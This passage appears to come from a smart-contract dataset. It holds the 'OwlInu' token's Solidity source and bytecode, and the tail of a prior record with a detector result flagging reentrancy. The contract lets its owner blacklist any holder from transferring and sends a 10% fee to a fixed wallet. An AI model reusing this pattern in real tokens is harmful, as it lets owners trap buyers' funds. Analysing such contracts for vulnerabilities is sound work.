b9050919050565b60006020820190508181036000830152612bb481612923565b9050919050565b60006020820190508181036000830152612bd481612946565b9050919050565b60006020820190508181036000830152612bf481612969565b9050919050565b60006020820190508181036000830152612c148161298c565b9050919050565b60006020820190508181036000830152612c34816129af565b9050919050565b6000602082019050612c5060008301846129d2565b92915050565b600060a082019050612c6b60008301886129d2565b612c78602083018761282c565b8181036040830152612c8a81866127bf565b9050612c9960608301856127b0565b612ca660808301846129d2565b9695505050505050565b6000602082019050612cc560008301846129e1565b92915050565b6000612cd5612ce6565b9050612ce18282612f20565b919050565b6000604051905090565b600067ffffffffffffffff821115612d0b57612d0a612ff8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d7c82612ec4565b9150612d8783612ec4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612dbc57612dbb612f9a565b5b828201905092915050565b6000612dd282612ec4565b9150612ddd83612ec4565b925082612ded57612dec612fc9565b5b828204905092915050565b6000612e0382612ec4565b9150612e0e83612ec4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e4757612e46612f9a565b5b828202905092915050565b6000612e5d82612ec4565b9150612e6883612ec4565b925082821015612e7b57612e7a612f9a565b5b828203905092915050565b6000612e9182612ea4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ee682612ec4565b9050919050565b60005b83811015612f0b578082015181840152602081019050612ef0565b83811115612f1a576000848401525b50505050565b612f2982613027565b810181811067ffffffffffffffff82111715612f4857612f47612ff8565b5b80604052505050565b6000612f5c82612ec4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f8f57612f8e612f9a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132e581612e86565b81146132f057600080fd5b50565b6132fc81612e98565b811461330757600080fd5b50565b61331381612ec4565b811461331e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f0faffddaad9270b99b7701216ac4d34dead537b49c405e7b6c86bb4549d4db964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,080
0xdb15f8dc2a73b5695e54761ded5eb29082c80da8
/** 🦉 OWL INU 🦉 ✍️"with the flap of a wing"✍️ 🦉Telegram: https://t.me/Owlinu 🦉Website: https://owlinu.com/ 🦉 Twitter: https://twitter.com/OwlInu */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract OwlInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 300000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "OwlInu"; string private constant _symbol = "OwlInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x6cB2A411F5EeFC2b4cA9E00513724A7ff97D7fD0); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(2).div(100); _maxWalletSize = _tTotal.mul(3).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061276c565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612836565b6104b4565b60405161018e9190612891565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128bb565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a1e565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a67565b61060d565b60405161021f9190612891565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612aba565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612b03565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b4a565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b77565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612aba565b6109dd565b60405161031991906128bb565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612bb3565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061276c565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612836565b610c9e565b6040516103da9190612891565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b77565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bce565b61137e565b60405161046e91906128bb565b60405180910390f35b60606040518060400160405280600681526020017f4f776c496e750000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611405565b848461140d565b6001905092915050565b6000681043561a8829300000905090565b6104eb611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c5a565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612cd8565b91505061057b565b5050565b600061061a8484846115d6565b6106db84610626611405565b6106d68560405180606001604052806028815260200161370f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611405565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c679092919063ffffffff16565b61140d565b600190509392505050565b6106ee611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c5a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c5a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c5a565b60405180910390fd5b6000811161093357600080fd5b610962606461095483681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611405565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d8f565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dfb565b9050919050565b610a36611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c5a565b60405180910390fd5b681043561a8829300000600f81905550681043561a8829300000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4f776c496e750000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611405565b84846115d6565b6001905092915050565b610cc4611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c5a565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611405565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e69565b50565b610e18611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c5a565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d6c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16681043561a882930000061140d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612da1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612da1565b6040518363ffffffff1660e01b815260040161109c929190612dce565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612da1565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612e3c565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612eb2565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061124160646112336002681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b600f8190555061127760646112696003681043561a8829300000611ccb90919063ffffffff16565b611d4590919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611337929190612f05565b6020604051808303816000875af1158015611356573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137a9190612f43565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390612fe2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e290613074565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c991906128bb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611645576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163c90613106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab90613198565b60405180910390fd5b600081116116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee9061322a565b60405180910390fd5b6000600a81905550600a600b8190555061170f610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177d575061174d610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5757600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118265750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182f57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118da5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119305750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119485750600e60179054906101000a900460ff165b15611a8657600f54811115611992576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198990613296565b60405180910390fd5b6010548161199f846109dd565b6119a991906132b6565b11156119ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e190613358565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3557600080fd5b601e42611a4291906132b6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b315750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9d576000600a81905550600a600b819055505b6000611ba8306109dd565b9050600e60159054906101000a900460ff16158015611c155750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2d5750600e60169054906101000a900460ff165b15611c5557611c3b81611e69565b60004790506000811115611c5357611c5247611d8f565b5b505b505b611c628383836120e2565b505050565b6000838311158290611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca6919061276c565b60405180910390fd5b5060008385611cbe9190613378565b9050809150509392505050565b6000808303611cdd5760009050611d3f565b60008284611ceb91906133ac565b9050828482611cfa9190613435565b14611d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d31906134d8565b60405180910390fd5b809150505b92915050565b6000611d8783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f2565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df7573d6000803e3d6000fd5b5050565b6000600854821115611e42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e399061356a565b60405180910390fd5b6000611e4c612155565b9050611e618184611d4590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea157611ea06128db565b5b604051908082528060200260200182016040528015611ecf5781602001602082028036833780820191505090505b5090503081600081518110611ee757611ee6612c7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb29190612da1565b81600181518110611fc657611fc5612c7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202d30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612091959493929190613648565b600060405180830381600087803b1580156120ab57600080fd5b505af11580156120bf573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120ed838383612180565b505050565b60008083118290612139576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612130919061276c565b60405180910390fd5b50600083856121489190613435565b9050809150509392505050565b600080600061216261234b565b915091506121798183611d4590919063ffffffff16565b9250505090565b600080600080600080612192876123ad565b9550955095509550955095506121f086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228585600260008b73ffffffffffffffffffffffffffffffffffffffff1673f